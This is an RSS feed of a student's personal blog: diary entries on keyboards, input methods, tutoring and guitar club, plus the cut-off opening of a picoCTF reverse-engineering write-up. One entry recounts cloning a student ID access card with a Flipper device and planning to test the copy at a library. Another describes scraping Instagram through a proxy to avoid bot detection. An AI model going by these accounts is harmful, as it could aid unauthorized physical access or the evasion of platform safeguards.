&lt;h3 id=&quot;random-talk&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#random-talk&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Random Talk&lt;/h3&gt;
&lt;p&gt;Though this time’s song selection really had a lot of problems, feel getting closer with guitar club people&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. After finishing this week, went together for midnight snacks and games. Just that the problems made us want to collectively quit the committee — of course just saying, hope it’s just saying.&lt;/p&gt;
&lt;h2 id=&quot;input-method&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#input-method&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Input Method&lt;/h2&gt;
&lt;h3 id=&quot;new-keyboard&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#new-keyboard&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;New Keyboard&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/zh/post/diary-4/#%E9%8D%B5%E7%9B%A4&quot;&gt;Last time&lt;/a&gt; mentioned my keyboard was broken, just the one I wanted is discontinued. But… discovered it really should be replaced — not only the L key, period key is also almost done. So had to go to NOVA again. This time only visited B1’s Mitsui. That clerk ran over to chat as soon as he saw me, said it’s his first day, for keyboards he only knows &lt;a href=&quot;https://www.logitech.com/zh-tw/shop/p/alto-keys-k98m&quot;&gt;this&lt;/a&gt;. He has brand faith, buys ROG himself, if nothing here liked, can buy ROG. &lt;del&gt;But he’s wearing a Logitech name tag&lt;/del&gt;. Ended up buying what he recommended, except a bit noisy, everything else’s fine.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-5/AltoKeys.webp&quot; alt=&quot;AltoKeys&quot;&gt;&lt;/p&gt;
&lt;p&gt;Just &lt;a href=&quot;https://support.logi.com/hc/en-us/articles/360025297893-Logitech-Options&quot;&gt;Logi’s app doesn’t support Linux&lt;/a&gt;, bad review. If want to use, have to install Windows myself, research when have time.&lt;/p&gt;
&lt;h3 id=&quot;mcbopomofo-input&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#mcbopomofo-input&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;McBopomofo Input&lt;/h3&gt;
&lt;p&gt;For Linux Chinese input methods, basically two choices. One is &lt;a href=&quot;https://chewing.im/&quot;&gt;New Chewying&lt;/a&gt;, one is &lt;a href=&quot;https://mcbopomofo.openvanilla.org/&quot;&gt;McBopomofo&lt;/a&gt;. At first thought, keyboard changed, might as well change the zhuyin input. After changing, found it’s quite usable. Has customizable dictionary, commonly used characters can be manually added (while typing this article, dictionary added a few more characters). Don’t need to select when typing that character next time. New Chewying goodbye, using McBopomofo.&lt;/p&gt;
&lt;h2 id=&quot;tech-research&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tech-research&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Tech Research&lt;/h2&gt;
&lt;h3 id=&quot;rsshub&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#rsshub&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;RssHub&lt;/h3&gt;
&lt;p&gt;Open source service online. Main purpose now is using it to subscribe to Instagram. This way I don’t need to log in to know what my friends posted in stories and posts, Instagram’s closed messages now taken out by me. Now I created a new Instagram account called rss.windson to crawl things, also set up a proxy so Instagram doesn’t think I’m a robot, tested password inside container with curl -x, it works. But no matter what, it returns NotFoundError, possible environment variables not set, haven’t found a way to deal with it. After solving, detailed method will become a post.&lt;/p&gt;
&lt;h3 id=&quot;copying-student-id&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#copying-student-id&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Copying Student ID&lt;/h3&gt;
&lt;p&gt;The other day having dinner with &lt;a href=&quot;https://www.iach.cc&quot;&gt;Each Chen&lt;/a&gt;, discovered Samsung Wallet can copy access cards. So took out &lt;a href=&quot;https://www.iach.cc/start-flipper/&quot;&gt;Flipper&lt;/a&gt; to simulate student ID, copied one. Tested at old men’s dorm back door — the card in phone works, at least the card number was extracted. &lt;del&gt;Of course this is normal way, success.&lt;/del&gt; Next, copied the card in phone with flipper again, &lt;strong&gt;all sectors opened&lt;/strong&gt;. Will try at department library to see if really fully unlocked.&lt;/p&gt;
&lt;section data-footnotes=&quot;&quot; class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#footnote-label&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;Of course, this refers to sophomores &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Weekly Diary | 25/11/12</title><link>https://www.windson.cc/en/posts/diary-4/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-4/</guid><description>Preface It’s been almost a month since my last weekly post. Getting pressured by friends to post more and more, so I have to get back to writing. Even though it’s called “Weekly Post,” I can’t write e</description><pubDate>Wed, 12 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;preface&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#preface&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Preface&lt;/h2&gt;
&lt;p&gt;It’s been almost a month since my last weekly post. Getting pressured by friends to post more and more, so I have to get back to writing. Even though it’s called “Weekly Post,” I can’t write every week. Instead of fixed updates, “write when I want to” fits my rhythm better.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;tutoring-center&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tutoring-center&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Tutoring Center&lt;/h2&gt;
&lt;p&gt;Been at the tutoring center for almost three months now. The pay’s good and the work’s light, so I’ll probably keep doing it short-term.&lt;/p&gt;
&lt;h3 id=&quot;before-midterms&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#before-midterms&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Before Midterms&lt;/h3&gt;
&lt;p&gt;High school students are all the same — not many questions usually, but right before midterms, they all come surging in. The power of last-minute cramming is real — almost everyone asks questions. &lt;del&gt;We were the same back when we took midterms&lt;/del&gt;. The past exam papers they give out now have almost identical formatting to what I used to write, except the teacher’s version now has watermarks, the one from Xing-Fu didn’t. Not saying I miss those exam paper days, but seeing them write triggers dead memories in my brain. We used to categorize the exam papers:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jian-Zhong, Yi-Zhong, Xiong-Zhong, Nan-Yi-Zhong, Wuling, Teacher-Fu-Zhong: Hard problems, can’t think of solutions&lt;br&gt;
Bei-Yi-Nu, Zhong-Nu-Nu: Really ugly numbers, need technique to calculate&lt;br&gt;
Wen-Hua, Xing-Fu: About the same as actual difficulty&lt;br&gt;
other: &lt;del&gt;Warm-up exam papers&lt;/del&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Maybe I categorized them too clearly in my subconscious — now seeing the girls’ school papers… really don’t want to touch them. Don’t ask me!&lt;/p&gt;
&lt;h3 id=&quot;these-things-should-i-teach-or-not&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#these-things-should-i-teach-or-not&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;These Things Should I Teach or Not&lt;/h3&gt;
&lt;p&gt;Spending time at the tutoring center, I’ve started thinking: how should I teach them? Some things feel weird to teach, but not teaching also feels wrong.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=org.geogebra.android&amp;#x26;hl=en-US&amp;#x26;pli=1&quot;&gt;&lt;strong&gt;Geogebra&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;
This is a graphing software — input an equation and see what the graph looks like. Seems like nobody at the tutoring center knows about this. Every time I encounter a problem with a too-complex graph, I hesitate: should I just draw it on the tablet, or teach them to sketch an approximation?&lt;br&gt;
From an exam perspective, of course you can’t use this software. But it’s hard to draw accurately without actually seeing what the graph looks like. Current approach — if I’m too lazy to draw, I use Geogebra. Might formally introduce it to them later.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.microblink.photomath&amp;#x26;hl=zh-Tw&quot;&gt;&lt;strong&gt;Photomath&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;
Super calculator. &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Σ&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo&gt;∫&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;sin, cos, \Sigma, \int&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.1111em;vertical-align:-0.3061em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;cos&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;Σ&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.1667em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop op-symbol small-op&quot; style=&quot;margin-right:0.1945em;position:relative;top:-0.0006em;&quot;&gt;∫&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, even matrices — basically if you can type it, it can calculate&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, and it shows full steps. I’ve used it in my tutoring, but haven’t introduced it publicly — afraid they’ll become too dependent and stop thinking. Some people learn from the steps, but more people just — copy the answers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;gold-shield-award&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#gold-shield-award&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Gold Shield Award&lt;/h2&gt;
&lt;p&gt;Qualifiers: 30 multiple choice, a lot of reverse problems won’t write. Going in is just happy guessing, and the result is expected — didn’t make it to finals. Walking out of the exam, I knew it would be like this, just haven’t met my advisor yet to tell them. A Reverse a day keeps the zero-days away. Try again during winter break. Recent days, doing reverse AND studying at the same time is really difficult.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;guitar-club&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club&lt;/h2&gt;
&lt;p&gt;Starting to get busy for Xmas night. This time I’m assigned to stage crew — basically handling the sound board and setting up instruments. Since I have free time, I opened three songs. This time three lead guitar songs, two have solos, hope I can practice enough. Because of the typhoon, missed one rehearsal opportunity — so everyone’s “one rehearsal to decide everything” next week needs to work hard.&lt;/p&gt;
&lt;h3 id=&quot;club-class&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#club-class&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Club Class&lt;/h3&gt;
&lt;p&gt;Next week it’s my turn to teach club class. Teaching people who haven’t learned guitar… honestly a bit nervous. To know how to teach, I’ve been sitting in on previous club classes. After watching, found out — watching doesn’t help, need to actually be up there to know what to do, then adapt. Actually while observing from below, noticed there’s a huge skill gap. Some are experienced, some are halfway, some are touching guitar for the first time. To accommodate everyone, decided to teach Mayday’s &lt;a href=&quot;https://www.91pu.com.tw/song/2015/0702/168.html&quot;&gt;Embrace&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. The whole song only has four chords, easy fingering, not asking for much — hope everyone can make a sound within two hours.&lt;/p&gt;
&lt;h3 id=&quot;xmas-night-info&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#xmas-night-info&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Xmas Night Info&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;/404&quot;&gt;No poster yet&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Location&lt;/strong&gt;: NCHU Small Chapel&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time&lt;/strong&gt;: 12/02 (Tue) 18:30 - 21:30&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;past-exam-system&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#past-exam-system&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Past Exam System&lt;/h2&gt;
&lt;p&gt;This week &lt;a href=&quot;https://www.iach.cc&quot;&gt;Each Chen&lt;/a&gt; got the &lt;a href=&quot;https://pastexam.iach.cc&quot;&gt;NCHU Applied Math Past Exam System&lt;/a&gt; working. I only did the favicon, changed the frontend background, and provided a bunch of past exams. Next, drawing the system’s Social Card. Plain English — that preview image that shows when you share a link. Current idea: stick figures vs math — we’re the stick figures getting beaten all over the place by math. One day when we’ve read enough math, can fight back at the big monster, we graduate. Still haven’t visualized this image yet, will draw it in these few days.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;keyboard&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#keyboard&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Keyboard&lt;/h2&gt;
&lt;p&gt;My L key’s getting less responsive lately. Has big impact on me. Ever since I set up Affine, almost all my notes are on it. Without a laptop, basically can’t study. Also, my typing speed got faster, but haven’t had time to test at typing club. Getting back to the topic — my L key is really broken. If pressed too light, no character appears. With normal force, about 70% success rate. Planning to get an external mechanical keyboard, better feel. Saw one I liked at Dunhuang before — Logi Pop Keys.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-4/pop-keys.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Actually noticed it when school started. Now I actually need it. So I went to Nova, planning to look around carefully, maybe see other things I like. Nope — walked a whole circle, still didn’t see what I wanted, or too expensive. Ended up going back to school library. The result is&lt;/p&gt;
&lt;blockquote&gt;
&lt;h1 id=&quot;the-purple-ones-discontinued&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#the-purple-ones-discontinued&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;The purple one’s discontinued.&lt;/h1&gt;
&lt;/blockquote&gt;
&lt;p&gt;Giving up, keeping the original — only magenta and one yellow-black left, might as well not switch.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;rss&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#rss&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;RSS&lt;/h2&gt;
&lt;p&gt;Because I don’t have the habit of watching news, completely missed the typhoon news this time. That day I was just asking a senior for past exam questions:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You have past exams?&lt;br&gt;
：No&lt;br&gt;
We’re doomed&lt;br&gt;
：You can pray for typhoon holiday&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What? There’s a typhoon?! I was completely like being offline. Though November shouldn’t really have typhoons, but one came and I had no idea. Because my way of getting info is all through RSS. Of course, I looked for &lt;del&gt;Central Deception Agency&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/del&gt; to see if they have RSS. They actually do:&lt;br&gt;
&lt;a href=&quot;https://www.cwa.gov.tw/V8/C/S/eservice/rss.html&quot;&gt;Here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-4/weather.webp&quot; alt=&quot;Area&quot;&gt;&lt;/p&gt;
&lt;p&gt;Each area has its own RSS — alerts, warnings, including typhoons, earthquakes, heavy rain, low temperature, fog, etc., issued or lifted.&lt;br&gt;
No more watching news — it automatically sends weekly weather forecast, today’s weather, rain probability every day. Immediately subscribed to Taichung’s, bye news.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-4/rss.webp&quot; alt=&quot;RSS&quot;&gt;&lt;/p&gt;
&lt;section data-footnotes=&quot;&quot; class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#footnote-label&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;More than enough for high school. Throw a大学生瑕integrals at it, it might just die. &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;This site has way too many ads, use Brave to open it. &lt;a href=&quot;#user-content-fnref-2&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt;It’s Central Weather Administration, I just renamed it. &lt;a href=&quot;#user-content-fnref-3&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Campus Festival Cocktail</title><link>https://www.windson.cc/en/posts/cocktail/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/cocktail/</guid><description>Check-in The organizer notified us to meet the host for script run-through at 2:30 PM. When it was almost time, I went to the club room to get my guitar. At the library, I suddenly saw a familiar figu</description><pubDate>Sat, 01 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;check-in&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#check-in&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Check-in&lt;/h2&gt;
&lt;p&gt;The organizer notified us to meet the host for script run-through at 2:30 PM. When it was almost time, I went to the club room to get my guitar. At the library, I suddenly saw a familiar figure floating out of the building—it was my vocalist, of course. Without coordinating, we both happened to walk to the elevator entrance at the same time. Our synchronization is really getting ridiculous.&lt;/p&gt;
&lt;p&gt;After going upstairs, the whole corridor was packed with people. At the end of the corridor was a small stage—that’s where we’d perform today. They set up speakers in every conference room and connected the music, giving off the vibe of a resident singer. I originally thought we’d perform in the International Conference Hall, but seeing this venue, it felt a bit… basic.&lt;/p&gt;
&lt;p&gt;There’s another corridor next to it that you can’t see the end of. The organizers asked us to go find a conference room first and wait. As we waited, all the band members arrived, but the host never showed up. So we went to the convenience store in the Social Sciences building to eat.&lt;/p&gt;
&lt;p&gt;For some reason, while eating, everyone started gossiping.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“I always thought you had someone.&quot;&lt;br&gt;
&quot;Nope, not a single one.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Then they started discussing downloading dating apps on my phone, with the reason: “Christmas for sophomores is coming, you have to download it, or there’ll be a curse!”&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Back at the library, sure enough, my phone was &lt;strong&gt;forcibly downloaded&lt;/strong&gt; with a dating app. What’s even more ridiculous is they checked some weird interest options for me: can dance Latin, likes sitting at the table with kids, that kind of thing… Then they started chatting with girls matched to me using my account.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;First Conversation&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hi&lt;br&gt;
: Hi&lt;br&gt;
Do you want to hear a bad joke?&lt;br&gt;
: No&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Second Conversation&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hi&lt;br&gt;
: Hi&lt;br&gt;
Do you want to hear a bad joke?&lt;br&gt;
: Sure&lt;br&gt;
Bad jokes can wait, let me play guitar for you first.&lt;br&gt;
(Voice message: “Secretly Love”)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;The rest of the development I don’t know about, because I quickly grabbed my phone back and immediately &lt;strong&gt;deleted the account + uninstalled the app&lt;/strong&gt;. Who knows what this closed-source program did to my phone?&lt;/p&gt;
&lt;p&gt;After this little interlude, the host still hadn’t appeared. It seems that “script run-through session” vanished into thin air. Finally, we were taken to the organizer’s office, probably because they needed that conference room. The entire corridor was set up with a buffet, the fragrance filling the air, making my stomach start to growl.&lt;/p&gt;
&lt;p&gt;We waited and waited, probably wasting three hours. Finally—it was our turn to perform.&lt;/p&gt;
&lt;h2 id=&quot;performance&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#performance&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Performance&lt;/h2&gt;
&lt;p&gt;By the time it was our turn, there weren’t many people in the audience. When our turn came, the audience had already shrunk to just our people&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. But even without an audience, we still had to go on stage—after all, we were getting paid. Though &lt;del&gt;no audience means we can mess around&lt;/del&gt;, the previous group added &lt;a href=&quot;https://www.youtube.com/watch?v=boETEUNxZJY&quot;&gt;May the Gentle You Be Treated Gently by the World&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/shorts/T0M6coupdGc&quot;&gt;My Fierce Kiss&lt;/a&gt;. The vocalist couldn’t resist, passing the microphone to the guitarist to sing. Fortunately, the guitarist was capable. As for me, I played normally, and some people in the audience even sang along. If you like performing, you should be waiting for moments like this.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;{{&amp;#x3C; youtube id=“JgxFWfgrUig”&gt;}}&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;{{&amp;#x3C; youtube id=“jT3bc-RgKgc”&gt;}}&lt;/p&gt;
&lt;section data-footnotes=&quot;&quot; class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#footnote-label&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;Legend has it that if you don’t escape single life during sophomore Christmas, you’ll be alone for four years. &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;Organizers and guitar club &lt;a href=&quot;#user-content-fnref-2&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>picoCTF vault-door-training</title><link>https://www.windson.cc/en/posts/reverse-3/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/reverse-3/</guid><description> A Reverse a day keeps the zero-days away Problem Problem link It says find flag in source code. import java.util.*; class VaultDoorTraining { public static void main(String args[]) { VaultDoorTrainin</description><pubDate>Thu, 30 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;A Reverse a day keeps the zero-days away&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;problem&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#problem&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Problem&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/7?category=3&amp;#x26;page=1&quot;&gt;Problem link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It says find flag in source code.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;java&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; java.util.&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; VaultDoorTraining&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
